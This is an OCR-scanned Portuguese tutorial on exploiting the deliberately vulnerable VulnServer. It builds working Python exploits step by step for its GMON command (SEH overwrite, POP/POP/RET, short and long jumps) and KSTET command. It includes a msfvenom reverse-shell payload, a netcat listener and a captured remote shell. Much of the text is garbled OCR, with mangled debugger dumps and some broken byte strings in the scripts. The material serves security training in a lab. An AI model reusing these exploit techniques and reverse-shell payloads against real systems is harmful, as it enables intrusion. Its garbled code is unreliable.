D PTR DS:[EDI1,DX 17 enpty < 3210

Cond 0 0 @ @

Prec NEAR,53

A AB4091848 . vulnserv.BB401848
90401826 &TE. RETURN to vulnserv.B840182
B@BDF1 $+4_ ASCII “GMON /.:/AAAAAAAAAA
90653510 . ASCII “GMON /.:/AAAAARAAAA
#0PRRANA :
#0P0A0B00
4 D4
R 3A2E2F20

B@BDFlFB 4141412F

@BBDF1F4 41414141

@OBDF1F8 41414141

@BBDF 41414141

BOBDF 41414141

@OBDF204 41414141

@OBDF208 41414141

@OBDF20C 41414141

Qap Bendiid

B

[21:36:351 Access violation when writing to [PPBEAABA] — use Shift+F?/F8/F9 to pass exception to program Paused

Desta vez, nés causamos o crash no programa, mas nao sobrescrevemos o EIP. Isso
significa que o vulnserver estéa tratando o input de alguma forma.
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3 SEH chain of thread 00000AED =n Ecl <=

Address |SE handler A
ABD?FFCC | 41414141
41414141 »e¢ CORRUPT ENTRY »oex

Se olharmos para o “SEH” (View > SEH chain), podemos ver que conseguimos
sobrescrever tanto o SEH quanto o nSEH. Mas do que isso se trata?

STRUCTURE EXCEPTION HANDING

O SEH é um mecanismo unforme para responder a excessoées criado pela Microsoft e
implantado desde a versao XP. Ele permite que linguagens como C/C++ utilizem a
estrutura de excessoes utilizadas por linguagens de alto nivel (try-except-finally). Abaixo
um exemplo:

__try{
;t'll'cpy(mybuff, myinput);

}
__except (INSUFFICIENT_MEMORY) {
my_exception_handler();

}

Onde o programa tentara realizar um “strcpy()’, e se ele falhar por
“INSUFFICIENT_MEMORY?”, vai chamar a fungao “my_exception_handler()".

Quando uma excessao ocorre, 0 OS caminha pela corrente SEH em busca de uma
saida para aquela excessao. Se nenhuma saida for encontrada, o programa responde
com a saida padrao: “FFFFFFFF”.

A estrutura do _EXCEPTION_REGISTRATION_RECORD:

typedef struct EXCEPTION_REGISTRATION_RECORD

PEXCEPTION_REGISTRATION_RECORD Next;
PEXCEPTION_DISPOSITION Handler;
} EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD;

Onde o parametro “Next” aponta para o préximo enderegco de SEH, também chamado
de SEH, e o “Handler” aponta para o SEH.
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Mais sobre como funciona o SEH pode ser encontrado aqui.

Para explorarmos o SEH, precisamos da habilidade de causar uma excessao, e
sobrescrever o endereco do SEH e nSEH para apontar para o endereco do nosso
codigo.

EXPLORANDO O SEH

Se rodarmos nosso script novamente e monitorarmos no Immunity, podemos visualizar
a corrente SEH e visualizar no painel (Shift+F9).

&% Immunity Debugger - vulnserver.exe - [CPU - thread 00000AEQ] [} = X
_IFlIe Vlew Debug Plugins ImmLib Options Window Help Jobs - & %
SFHTE WX b i W HH LA 1 emtwh P kb2 . s 7 I —————

A Re isters (FPU)> < < <
15151515 1% 15 )
41414141
??2C87CA
0PPNRRAA

%
00000000
00000000

41414141

LastErr ERROR_S CESS (B00806060>

000108246 <(NO.NB.E,.BE.NS.PE,GE,LE>

321 ESPUOZDI
d PAB OB Err 00000006 J(GI>
Prec NEAR.53 M

2
'F 90 48 08 :
00 00 00 00 00 OB : j 8§ @ I {[- ASCIT “AAARAAARAAARAAARAAA

‘1&11[1}&11% FF FF 00 00 00 08

Como sobrescrevemos o endereco do SEH e do nSEH, conseguimos sobrescrever o
endereco EIP dentro da corrente, e isto nos da controle sobre a execugéo do programa.

Precisamos encontrar o offset para sobrescrever os enderegos SEH, utilizaremos o msf-
patter_create.

)-[~/../estudos/binarios/windows/VulnServer]
10007
5Aa6Aa7AaBAa9AbOADTAD2AD3ADAADSADGANTADBADSACOACTA 4ACSAC6 cOAdOAd1Ad2AdIAdLADSAD6AdTAIBAdOAC DA 1 Ac2Ae3ACkARS Ae6ACT AcBACOAFOAFIAF2AFIAFLAFS
3Ag4Ag5ALBAS AgEAzQAhDAhlAh"AhjAhuAhSAhaAh"Ah“‘AhQAiaAilAi Ai-.AiSAmAl"A)EAlQAinA]lAj"A]jAjuAJSAjnA]"Aj ]QAH)AVlAk"AkjAImAkSAkaAWAI’EAkQAlaAU
q3AqAAGSAQBAGT

4Dd5Dd6Dd7Dd8Dd9DedDell
ngQDnODnIDn Dn1Dnan’1Dann7DnQDn9D1l)Dlln Di4Di5Di6Di7DiBDIYI Dj1Dj2Dj3Dj4Dj5D36D;7)
D16D17018D19DmaDm1 Dm2Dm30m4Dm5DmGDm7 DmEDmIDAADA1DN2D: n4Dn5Dn6DN7DN8DN900@Do100. Do4Do5D06D07D08Do9DpaDp 1D
Dr70r8Dr9Dsans1D: Ds4Ds50s6Ds70s8Ds90t@DtL 1Dt 2Dt 6Dt70t8Dt9DuADU1DY. Du5Du6DU7DUBDUIDVADY

DwBDWIDXODx1Dx2Dx3DX4DX5DXEDX7DxX8DX9Dy Dy 1Dy 4Dy 5Dy 6Dy 7Dy : a@EalEa2Ea3Ea4EaSEabEa7EaBEa9EDAED1EL2ED3EDLEDSEDGEDTEDBEDIECAE:
EC4E 9EdOEd1Ed2Ed3Ed4EASEAGEd7EIBEd9ECDER FSEFGEF7EFBEFIEGOES 4EgSEZAEGTED Ez9EhOEh1Eh“Eh EhuEhSEthh’EhﬁEh'
i 14EiSEi6E17EiBEI9EOEI1EI2EI3EIAEISEIOEITE EL3E14ELSE
En6En7En8EN9E0BE01E02E03E04E05E06E07 E0BE0IEPAEPTEP2E EEpuEpSprEp7EpREp9Eq0Eq1Eq‘Eq EquEqSEQSEQ7EqREQIETOEr 1 ErDEr3ET 4ErSErbEr7 ErBEr9ESOES]Es2Es3EstEsSESbES7ESRESOELOEL]
Et2Et3Et4ELSEL6EL7ELBEL9EUOEUEU2EU3EU4EUSEUGEU7 EUBEUIEVOEVIEV2EV3EVAEVSEVAEY7EVBE VO EwdE W] Ew2 EwdEwt EwS Ewb Ew7 EWBEWS 2EX3EX4E 9EYOEY1EY2EY3EY4EYSEY6E
6 6 Fa9Fb@Fb1Fb2Fb3Fb4FbSFb6Fb7FbBFbOFCOFCIFC2FC3FcaFCSFChFc7FCBFCOFdOFd1Fd2Fd3FdsFdSFd6Fd7FdBFd9FenFelFel

Vamos atualizar em nosso script e reenviar para o programa apoés reinicia-lo no
Immunity.
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-.S.E_handler
CC| 6F45346F
45| ##% CORRUFPT EMTRY s

Sobrescrevemos o endere¢o do nSEH com os bytes 45336f45, vamos encontrar o offset

exato com o msf-pattern_offset.

$ msf-pattern_offset -1 10007 -q 4533645
[*] Exact match at offset 3549

Temos o offset de 3549 para atingir o endereco de EIP. Vamos atualizar o nosso script

e testar com o Immunity.

xplgmon.py:

#!/usr/bin/python3
import socket

ip="192.168.1.30"
porta = 9999

offset = 10007

payload = b"GMON ./"

payload += b"A" * 3549

payload += b"B" * 4

payload += b"C" * (offset - 3549 - 4)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))
s.recv(1024)

print("Enviando payload...")
s.send(payload + b"\r\n")

s.close()
print("Payload enviado.")
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Como podemos ver, o SEH foi preenchido pelos nossos “C” ao inves dos “B”, mas ele
esta tentando fazer um salto para os “B”, pois ao ndo encontrar a regra de excessao no
SEH, ele tenta pular para o nSEH.

Otimo, conseguimos sobrescrever os enderecos, isso nos aproxima de ter controle
sobre a execugéao.

Normalmente como fizemos nos comandos anteriores, agora iriamos encontrar um bom
endereco de retorno para nosso ESP, mas vamos analisar a stack da corrente do SEH.

Registers <(FPU>) <

(5151515151515]5
43434343
774F87CHA ntdll.?774F87CH
(5151515151515]15
BBEEEC20
EBP BGAEEEC40

ESI 88808080800
EDI 88880000

EIP 43434343

C 8 ES 882B 32bit OB(FFFFFFFF)

P1 CS 8823 32bit O(FFFFFFFF)

A @ SS B82B 32bit B(FFFFFFFF)

Z 1 DS B82B 32bit ACFFFFFFFF)

Gloanae]i] TS5 0% o¢cOw RETURN to ntdll.7?77
WUEEECZ24 UWUEEED28 oC.

AAEEEC28 &&aaaaaa | €. ASCII “BBBBCCCCCCC
BUOEEECZC BWUEEED78 poc.

WUEEEC3HW BWUEEECAC %oc .
AAEEEC34 GBEEFFCC |; €. Pointer to
WAEEEC38 774F87CH Lo 0w SE handler

--------------

Noés caimos 8 bytes antes do nosso buffer, o que significa que ser fizermos um JMP
ESP, vamos cair num espaco da meméria do qual ndo temos controle.

Precisamos encontrar uma forma de retirar estes 8 bytes da stack antes do JMP ESP
para podermos cair exatamente em nosso buffer.
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ESTRUTURA LIFO

A stack da arquitetura x86 segue o padrao LIFO (Last In First Out) onde o ultimo item a
entrar na stack é o primeiro a sair. Cada vez que fazemos um PUSH na meméria, nés
adicionamos exatamente 4 bytes a stack decrementando o apontador, ou seja, em cada
PUSH em ESP o apontador ESP recebe um valor -4, em contrapartida, quando fazemos
um POP na stack, adicionamos 4 bytes no apontador.

Como nosso buffer esta 8 bytes acima de onde caimos, precisamos adicionar 8 bytes a
stack, conseguimos isso encontrando um endereco que contenha um POP/POP/RET.

POP <qualquer registrador 32 bytes>
POP <qualquer registrador 32 bytes>
RET

Onde, o primeiro POP vai retirar o primeiro enderego da stack, adicionando 4 bytes ao
endereco, e o segundo POP vai adicionar mais 4. O RET vai pegar o primeiro endereco
da stack e adiciona-lo ao EIP, e assim executamos exatamente nosso buffer.

Podemos encontrar o endere¢co POP/POP/RET com o proprio Immunity utilizando o
plugin mona com o comando !'mona seh -cp nonull -cm safeseh=off.

pop pop

pop
pop
pop

pop
pop
pop

]
4
&
-
#
e
&
&
#
&
&
b4

HEBBHHESEHEES

Imona seh -cp nonull -cm safeseh=off

Onde “-cp nonull” omite enderecos com caracteres nulos, “-cm safeseh=off” omite
enderecos compilados com SafeSEH.

Encontramos 12 enderecos de POP/POP/RET utilizaveis, no meu caso utilizarei o
6250120b.

Vamos atualizar nosso script, e inserir o enderego encontrado no lugar de nossos “C”,
lembrando que os bytes tem que ir na ordem inversa pois utilizam little indiam.
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xplgmon.py:

#!/usr/bin/python3
import socket

ip="192.168.1.30"
porta = 9999

offset = 10007

payload = b"GMON ./"

payload += b"A" * 3549

payload += b"B" * 4

payload += b"\x0b\x12\x50\x62"
payload += b"D" * (offset - 3549 - 4 - 4)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))
s.recv(1024)

print("Enviando payload...")
s.send(payload + b"\r\n")

s.close()
print("Payload enviado.")

Vamos iniciar o vulnserver, inserir um breakpoint exatamente em nosso POP/POP/RET

e rodar nosso script.

POP ECK

POP EBP

PUSH ERBFP
MOU EBFP.ESP
81EC ASOBOB0H SUB ESP.8aA8
8B45 @8 MOU
8944324 @4 MOU
8D85 68FFFFFF LERA
8968424
E8 7a878868
c9

Caimos exatamente em nosso POP/POP/RET, se avangarmos, vamos cair na stack

com um buffer.
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Porém, vamos analisar o buffer em que caimos:

OB EE «ax p I MHELEd 1 e

BBCAFFCA INC ECX
BBCAFFCE INC EGH
HBACAFFCC IHC EDX
HBACAFFCD IHNC EDd
HBCAFFCE INC EDX
BBCAFFCF INC EDX
HBCAFFDA OR EDX,.DWORD PT
BBCAFFDZ LA PUSH EAX
HACHFFD3 624444 44 BOUND EAR ., G401
BACAFFDY? 44 INC ESP
HACAFFDE 44 INC ESP
BACAFFDY? 44 INC ESP
ABCAFFDA 44 INC ESP

HHCAFFDE 44 INC ESP
4.4 e D

Caimos exatamente em cima dos nossos “B”, o problema é que s6 temos 4 bytes de “B”
e logo em seguida temos o enderego do nosso POP/POP/RET novamente, impossivel
aproveitar 4 bytes para um shellcode. Também nao podemos fazer um salto para o
buffer de “A”, pois seria um salto longo, que ocupa 5 bytes.

Mas se analizarmos, logo apds nosso POP/POP/RET temos o buffer dos “D”, seria um
salto curto, e um salto curto felizmente tem o tamanho de 2 bytes.

Fazendo a matematica, temos que saltar 8 bytes para atingir o buffer (4 bytes de “B” +
4 bytes do POP/POP/RET). Vamos calcular o opcode do salto de 8 bytes para nosso
buffer utilizando o msf-nasm_shell.

$ msf-nasm_shell
nasm > JMP short 10
00000000 EBO8 jmp short Oxa

Por que eu calculei um salto de 10 bytes ao inves dos 8 que precisamos? Porque o JMP
vai calcular o salto incluindo incluindo o tamanho da instrugdo JMP que por sua vez tem
2 bytes.

Precisamos inserir o salto no lugar dos nossos “B” pois quando o POP/POP/RET cair
nesse endereco, saltara para nossos buffers de “D”.
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xplgmon.py:

#!/usr/bin/python3
import socket

ip="192.168.1.30"
porta = 9999

offset = 10007

payload = b"GMON ./"

payload += b"A" * 3549

payload += b"\xeb\x08" # salto curto

payload += b"\x90\x90" # padding para o salto
payload += b"\x0b\x12\x50\x62"

payload += b"D" * (offset - 3549 - 4 - 4)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))
s.recv(1024)

print("Enviando payload...")
s.send(payload + b"\r\n")

s.close()
print("Payload enviado.")

Analisando no Immunity, vemos que logo apos o POP/POP/RET caimos no jump.

BACYFFCC SHORT BBCTFE

HOP

HOP

OR EDX .DWORD PT

PUSH Efx

BOUND EAR.

INC ESP

INC ESP

INC ESP

INC ESP

INC ESP
AacYyFFDC INC ESP
BacYFFDD INC ESP
BACYFFDE INC ESP

Se avangarmos mais um passo, caimos no buffer dos “D” (44).

HBC?FFDG INC ESP
AAC?FFD? INC ESP
ABC7FFDE INC ESP
AACYFFD? INC ESP
AAC7FFDA INC ESP
ABC?FFDE INC ESP
AAC?FFDC INC ESP
AAC?FFDD INC ESP

AAC?FFDE INC ESP
Bac?FFDF INC ESP
AAC?FFEA INC ESP
A8C?FFEL INC ESP
AAC?FFE2 IHNC ESP
HBCY?FFE3 ESP
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E constatamos o total controle na execu¢cdo do programa. Mas ainda temos outro
problema para resolver: o buffer de “D” tem apenas 41 bytes de espago, mas este tipo

de problema, ja resolvemos no comando GTER, e vamos fazer exatamente igual.

PULANDO DE VOLTA PARA O BUFFER INICIAL

Desta vez, precisamos de 5 bytes para fazer um log jump back, e temos 41, esta facil.
Consultando a distancia com msf-nasm_shell, precisamos de um salto de 3557 bytes

(3549 bytes de “A” + 4 bytes do POP/POP/RET + 4 bytes do short jump).

$ msf-nasm_shell
nasm > JMP $-3557
00000000 E916F2FFFF jmp 0xfffff21b

Temos a distancia e916f2ffff, vamos atualizar o script.

xplgmon.py:

#!/usr/bin/python3
import socket

ip="192.168.1.30"
porta = 9999

offset = 10007

payload = b"GMON ./"

payload += b"A" * 3549

payload += b"\xeb\x08" # salto curto

payload += b"\x90\x90" # padding para o salto curto
payload += b"\x0b\x12\x50\x62"

payload += b"\x90\x90" # padding para o salto longo
payload += b"\xe9\x16\xf2\xf\xff" # salto longo
payload += b"D" * (offset - 3549 - 4 - 4 - 5)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))
s.recv(1024)

print("Enviando payload...")
s.send(payload + b"\r\n")

s.close()
print("Payload enviado.")

Analisando no Immunity:
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(OB EE WX P I W H A 1 e
AAC?F1F1 INC
AUC?F1F2 INC ECRA
AAC?F1F3 INC ECRA
BHC?F1F4 INC ECRH
AAC?F1F5 INC ECRA
BHC?F1F6 INC ECRA
AAC?F1F7 INC ECRA
BHC?F1F8 INC ECRH
AAC?F1FY INC ECRA
BORITiFR IMC EGH
AAC?F1FR INC ECRA
BACYF1FC INC EGH
AAC?F1FD INC ECRA
BACTF1FE ECH

AACS

Caimos exatamente em cima do nosso buffer de “A”, agora temos 3549 bytes para
explorarmos da forma que quisermos.

Antes de tudo, precisamos gerar nosso reverse shell com msfvenom e organizar nosso
script.

#!/usr/bin/python3
import socket

# variaveis de conexao
ip="192.168.1.30"
porta = 9999

# offset para buffer overflow
offset = 10007

# msfvenom -p windows/shell_reverse tcp Ihost=192.168.1.17 Iport=8443 -b "x00' -v
shellcode -f py

shellcode = b""

shellcode += b"\xbd\x0a\xb3\xad\x9f\xd9\xcd\xd9\x74\x24\xf4"

.S-hellcode += b"\xd9\xfb\x46\xd8\x72\x6e\x68\x4f\x72\xbb"

# payload

payload = b"GMON ./" # comando inicial

payload += b"\x90” +10 # padding para o shellcode

payload += shellcode # enviando shellcode para o primeiro buffer

payload += b"A" * (3549 - len(shellcode) - 10) # complementando o buffer com "A"
payload += b"\xeb\x08" # salto curto

payload += b"\x90\x90" # padding para o salto curto

payload += b"\x0b\x12\x50\x62" # POP/POP/RET

payload += b"\x90\x90" # padding para o salto longo

payload += b"\xe9\x16\xf2\xf\xff" # salto longo

payload += b"D" * (offset - 3549 - 4 - 4 - 5) # complemento do buffer com "D"

# conexao

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# envio do payload

s.connect((ip,porta))

s.recv(1024)

print("Enviando payload...")
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Vamos setar um netcat para ouvir a porta 8443, iniciar o vulnserver fora do immunity e
testar o script.

— |-[~/Desktop

—% nc B4 43

listening on [any] 8443 ...

connect to [192.168.1.17] from (UNKNOWN) [192.168
Microsoft Windows [Version 10.0.19843.928]

{c) Microsoft Corporation. All rights reserved.

\Users\suite\Desktop>cd \

Volume in drive C has no labe
Volume Serial Number is 2

Directory of C:\

08/11/2021 EE
12/87 9 PerflLogs
88/11/2021 B4:Z < > Program Files
88/11 1 ] Program Files
P8/11 1 Python27
88/11 1 27 Users
B8/11/2021 04: 20 < » Windows

@ bytes

6,726,528 bytes free

C:\>whoami
whoami
desktop-5@8ci2k5\suite

E conseguimos nosso reverse shell.

Neste comando, fuzemos a exploracao de overflow de SEH e realiamos varios saltos na
memoria conhecendo um pouco mais a fundo sua estrutura.

Nos préximos comandos vamos experimentar novas complexidades.

66



®

https://hastur666.github.io/Windows BoF/

COMANDO KSTET

O comando KSTET, assim como os demais, recebe um argumento e da uma resposta.
Neste comando temos um problema de espago muito menor que os demais.
Precisaremos pensar fora da caixa, portanto iremos explorar outa tecnica de exploragao
de buffer overflow.

-[~/../estudos/binarios/windows/VulnServer
192.168.1.30 9999
Welcome to Vulnerable Server! Enter HELP for help.
KSTET

UNKNOWN COMMAND
KSTET teste
KSTET SUCCESSFUL

0

FUZZING

Vamos reaproveitar nosso primeiro script de fuzzing, adaptando para o envio do
comando KSTET.

fuzzing.py:

#!/usr/bin/python3

import socket
from time import sleep
import sys

# variaveis de conexao
ip="192.168.1.30"
porta = 9999

payload = b"KSTET " # funcao inicial
payload += b"A" * 100 # quantidade inicial de bytes

while True:

try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))
s.send(payload + b"\r\n")
s.recv(1024)
s.close()
sleep(1)
payload = payload + b"A"*100

except:
print("Buffer estourado em %s bytes"%(str(len(payload))))
sys.exit()

Ao rodar nosso script, temos o retorno da quantidade de bytes para estouro de buffer.
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.

File Actions Edit View Help

'~/../estudos/bina

—$ py 3 fuzzing.py
Buffer estourado em 206 bytes

Temos um offset de 206 bytes para causarmos o crash, vamos esbogar nosso script e
testar com o vulnserver no Immunity Debugger.

xplkstet.py:

#!/usr/bin/python3
import socket

# variaveis de conexao
ip="192.168.1.30"
porta = 9999

# variaveis de payload
offset = 206

# payload
payload = b’"KSTET ”
payload += b"A" * offset

# criando conexao

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))

s.recv(1024)

# enviando payload
print("Enviando payload...")

s.send(payload + b"\r\n")
s.close()

print("Payload enviado.")
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€3 Immunity Debugger - vulnsen{.},exe - [CPU - thread 0D000E18] — X
ﬂ File View Debug Plugins ImmLib Options Window Help Jobs - &) %
O% T X b Il bHRUHY 1l emtwhcPkbzr. s ? | |

~ Registers (FPU>
X BOE6F978 ASCII 4B."STET AAAAAAAAAAAAAAAAAAAAAAAA
X BB6F118C
3 L1555 %)
X 80000104
BOE6FIC8
41414141
00401848 vulnserv.BB401848
00401848 vulnserv.BB401848
41414141
S @@82B 32bit BC(FFFFFFFF)
>S 8823 32bit BCFF F>
35S @02B 32hit BOCFF F>
#082B 32hit BC(FFFFFFFF)>
S 8853 32hit 2E@BBBCFFF)>
38 882B 32bit @(FFFFFFFF>

ERROR_SUCCESS <(800000008>
800108246 (NO.NB,.E,BE,NS,PE,GE.LE>
[@ empty g

empty g
2 empty g
[3 empty g
empty g
empty g

41414141

41414141

08 00 -B.. El 41414141
41414141

8 41414141

DC  ABABABAB

F cawe
28 00 08 60 60 S . F9E ABABAB
O 90 00 GO B0 G0 60 . : FIE: FEEEFE

” El ES 00R0PR0E
: 83 SS o8 00 33 SS ) BE6FIEC 00000000

e g o g g 3 6 &8 sceeoee geeeeeee
5 ] ‘
103056 00 o8 . E6F9FS  9000AR00
08403060 . E6F9FC 00000000
00 APB00ARD
@OE6FAB4  006FB000
@OEGFAGS  40000@6A j. .
@OE6FAGC 000ARA00 . ...
@AE6FA1G  0OANABED
; ¢ 906F1118
P0463998 . : 8 ©8880008
904030A0 00 00 08 80 80 @Q - i DE6FA P g8 =
0420003002 Gl BBl qA g

515}

[ E|

Trace over (Ctrl+F12) [Paused

Conseguimos sobrescrever o enderego de EIP, isso é 6timo, mas vamos seguir o dump
hexa apds o envio do KSTET.

Address |Hex dump ASCI I .
KSTET AAAAAAAAA
AARAAAAAAAAAAAR
AAAAAAAAAAAAAAR
AAAAAAAAAAAAAARA
AAAAAAAAAAAAAAR
AAAAAAAAAAAAAAR
AARARASSS54%%4E 1]

gt g
Hibrul| a1
mn.wD...P......
CepPiiana

Noés enviamos 206 “A” com nosso script, porém o buffer tem um espago de 0x63, ou
seja 99 bytes incluindo o comando KSTET.

Fazer saltos para o inicio do buffer ndo adiantaria, pois independente de onde cairmos,
ndo teremos espaco para o shellcode. Fazer reuso do socket da forma que fizemos
anteriormente também nao funcionaria, pois mesmo diminuindo muito o tamanho, nosso
shellcode ficou com pouco mais de 140 bytes.

Precisamos pensar fora da caixa, porém vamos seguir o plano e encontrar o offset para
atingir o EIP como fizemos nos demais. Vamos criar a string com o msf-patter_create.
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$ msf-pattern_create -1 206
AaOAa1Aa2Aa3AadAa5Aab6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4AbSAb6Ab7Ab8ALIACOACTAC
2Ac3Ac4Ac5ACc6AC7Ac8ACOAdOAdT1Ad2Ad3Ad4Ad5Ad6Ad7Ad8AdIAe0Ae1Ae2Ae3Ae4Ae
5Ae6Ae7Ac8AcIATOAT AT2AFBATAATSATBATTATBATIAGOAG1Ag2Ag3Ag4Ag5AGBAgTAY

Apés atualizar nosso script, vamos medir o comportamento com o Immunity:
! 7 ¥ . SUIL * 47

Registers (FPU) £ <
BBC4F978 ASCII 4B,V STET AaBAalfAa2Ra3fAad4faSAabAn
#B63118C
(515151515151515]

515151515 Q55!
BBC4F9CS8
41326341
88401848 vulnserv.B8B8481848
A0481848 vulnserv.BB401848

63413363

ES 882B 32bit B(FFFFFFFF)
CS 80823 32bhit B(FFFFFFFPF)
SS 882B 32bit B(FFFFFFFF)
DS 882B 32bit B(FFFFFFFF)
FS 86853 32bhit 2CABBB(FFF)
GS 882B 32bit B(FFFFFFFF)

LastErr ERROR_SUCCESS (8888886808)
008018246 (NO.NB.E.BE.NS.PE.GE.LE)

empty
empty
empty
empty
empty ¢

Atingimos o EIP em 63413363, vamos consultar no msf-pattern_offset.

$ msf-pattern_offset -1 206 -q 63413363
[*] Exact match at offset 70

Temos um offset de 70 bytes para atingir o EIP, vamos atualizar nosso script e tesstar.
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xplkstet.py:

#!/usr/bin/python3
import socket

# variaveis de conexao
ip="192.168.1.30"
porta = 9999

# variaveis de payload
offset = 206

# payload

payload = b"KSTET "

payload += b"A"*70

payload += b"B" * (offset - 70)

# criando conexao

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))

s.recv(1024)

# enviando payload
print("Enviando payload...")

s.send(payload + b"\r\n")
s.close()

print("Payload enviado.")

Se o offset estiver correto, nosso EIP sera preenchido com os “B”.

o ImmumtyDebugger-\zu!nsl.}r&r.exe- [CPU - thread 000010C0] — X
ﬂflle View Debug Plugins Immlib Options Window Help Jobs

% T E WX b I S HH g 1 emtwh c bk bz r .. s 7

isters (FPU> < < <
@AC?F978 ASCII 4B, STET AAAAAAAAAAAAAAAAARARAAARA
@B1F118C

a5 ]5 15515 5]

00nA104

BAC7FIC8

41414141

08401848 vulnserv.B0401848

00401848 rv.00401848

42424242
ES 0982B it @(FFFFFFFF>
CS 08823 : it @ >
5 982B @CF FF)
@C(FFFFFFFF)
2FCOBBCFFF)
FF °FF

LastErr CESS <(00000000>
90010246 (NO.NB,E,BE,NS,PE,GE.LE>
enpty g
empty g
enpty g
empty g

g
g

empty
empty
L

£.en
BBC?FIC8 MEVEVEVEVEN Y
42424242 BBBB
42424242 BBBB
42424242 BBBB
42424242 BBBB
ABABABAB %%%%
ABABABAB %5%%%
FEEEFEEE €1€1
s la]a 150505 .
0000AB00
s la]a 1505 1)
09060066
88060000
aalala 15 ]a 1)
080000800
081 F0800
4000006A
08000R00
08060000 .
BB1F1118 T4v. ET AAAARAAAAAAA
BBC7FA18 BBBABNAA -
BBC?FALC 086 s
WA VA 4AA d

98403000
008403010
008403020
98403030
08403040
08403050
008403060
984030760
98403080
08403090
0B4030A0
00403080
#B4038CH
984038068
#B4030EQ
084030F0
98403100
98403110
08403120
00403130
08403140

PNl m s i b e s D

B

[20:53:181 Access violation when executing [42424242]1 - use Shift+F?/F8/F9 to pass exception to program Paused
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Sobrescrevemos o EIP com sucesso, vamos procurar um bom endereco de retorno para
ESP.

!mona jmp -r esp

Encontramos nossos 9 bons enderecos de retorno, podemos utilizar qualquer um, no
meu caso utilizarei o 625011d3.

Vamos inserir o enderegco de retorno no lugar de nossos “B” e monitorar o
comportamento inserindo um breakpoint neste endereco.

xplkstet.py:

#!/usr/bin/python3
import socket

# variaveis de conexao
ip="192.168.1.30"
porta = 9999

# variaveis de payload
offset = 206

# payload

payload = b"KSTET "

payload += b"A"*70

payload += b"\xd3\x11\x50\x62"

payload += b"C" * (offset - 70 - 4)

# criando conexao

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))

s.recv(1024)

# enviando payload
print("Enviando payload...")

s.send(payload + b"\r\n")
s.close()

print("Payload enviado.")
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€3 Immunity Debugger - \J:énservenexe - [CPU - thread 00000F94] — X
ﬂ File View Debug Plugins ImmLib Options Window Help Jobs - &) %
OB E WX P I w¥HliaJ* 1l emtwhcPkbzr.s ? Immunity: Consulting Services Manager |

BBD6F9C8
19C9 8 ASCII 4B, "STET AAAAAAAAAAAAAAAAAAAAAAAAH
Bl BBB6118C
EDX 90000000
X 00000104
ESP B@BD6F9C8
EBP 41414141
ESI 080401848 rv.08401848
@BDEFIDL EDI 00481848 rv.00401848

BBD6F9D2 X EIP @AD6FIC8
BBD6F9D3 > 2

BAD6F9D4 a 00828
#8D6F9DS5
@BD6F9D6

CT=HNNDTYO

LastErr SUCCESS <080000000>
800088246 (NO.NB.E,BE,NS,PE,GE.LE>
ST8 empty g
5T1 empty g

BOD6F9DF DWORD PIR E npty

BX -00N0B104 ;

80008000
80008000
80008000
g 00000000
; 9FC  PABOAOED
e S A00  0000PARD
p @OD6FAB4  0BB60ARA
GOD6FABS  480OAB6A
@ODEFAAC 0PAEEORA - . ..
GOD6FA1D 0PAEARRR . . . .
@OD6FA14 ©@B61118 14j|. ASCIT 4B,"STET AAAAAAAAAAA
GOD6FA1S  BBAABOOB
ODSFAIC BRBFADDO
AADLF! 514

I!muna jmp -resp . o ' ) ZI

[Paused

Caimos exatamente em nosso buffer de “C”, porém temos somente 13 bytes para
aproveitar, absolutamente nada nos termos de exploit, mas temos um buffer de 70 bytes
de “A”, 0 que também nao é muita coisa, mas deixa espacgo para sermos criativos.

Vamos calcular o salto para o buffer de “A” com o msf-nasm_shell, temos um salto de
74 bytes para fazer (70 bytes de “A” + 4 bytes do JMP ESP).

$ msf-nasm_shell
nasm > JMP $-74
00000000 EBB4 jmp short Oxffffffb6

Temos o short jump de \xeb\xb4. Vamos atualizar o script € monitorar.
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xplkstet.py:

#!/usr/bin/python3
import socket

# variaveis de conexao
ip="192.168.1.30"
porta = 9999

# variaveis de payload
offset = 206

# payload

payload = b"KSTET "

payload += b"A"*70 # buffer inicial

payload += b"\xd3\x11\x50\x62" # JMP ESP

payload += b"\xeb\xb4" # short jump

payload += b"\x90\x90" # padding do short jump

payload += b"C" * (offset - 70 - 4 - 4) # complemento do buffer

# criando conexao

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))

s.recv(1024)

# enviando payload
print("Enviando payload...")

s.send(payload + b"\r\n")
s.close()

print("Payload enviado.")

&3 Immunity Debugger - vulnserver.exe - [CPU - threar 00000AF8] — X

ﬂflle View Debug Plugins ImmLib Options Window Help Jobs - &8 %

OB TE WX P U MHHEYS 1 emtwhcPkbz . s ? ey
EC; ~ Registers CFPUD < < <

@AD8F9?78 ASCII 4B,V STET AAAAAAAAAAAAAAAAAAAARAAARA
{ BBB8118C
#000PE0A
000P0104
@BDSFIC8
41414141
08401848 vulnserv.B0401848
00401848 vulnserv.00401848
BBDSFI7E
ES @@82B 32bit BC(FFFFFFFF)
CS 8823 32hit B¢ FF>
S8 @@2B 32bit B¢ FF>
DS @@2B 32bit B¢
FS 8853 32bit 3560808CFFF)
GS @082B 32bhit OCFFFFFFFF>

LastErr ERROR_SUCCESS <(000000008>
., B0BBB246 (NO.NB.E,.BE,.NS.PE,GE,LE>

empty
enpty ¢

empty g
empty
4 empty

Caimos diretamente em nosso buffer de 70 bytes, mas e agora, o que fazer com 70
bytes?

Vamos pensar fora da caixa e dividir nosso exploit em dois estagios.
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ESTAGIO 1: REUSO DE SOCKET

Quando exploramos o comando GTER, ndés reaproveitamos uma parte da funcao
WinSocket para diminuir o tamanho do nosso shellcode para 128 bytes.

Para conseguirmos encaixar um shellcode em 70 bytes, precisamos reaproveitar algo
mais.

Vamos analizar uma forma simplificada do protocolo TCP:

Server Client
Socket Socket

2
setsockopt

)

Bind
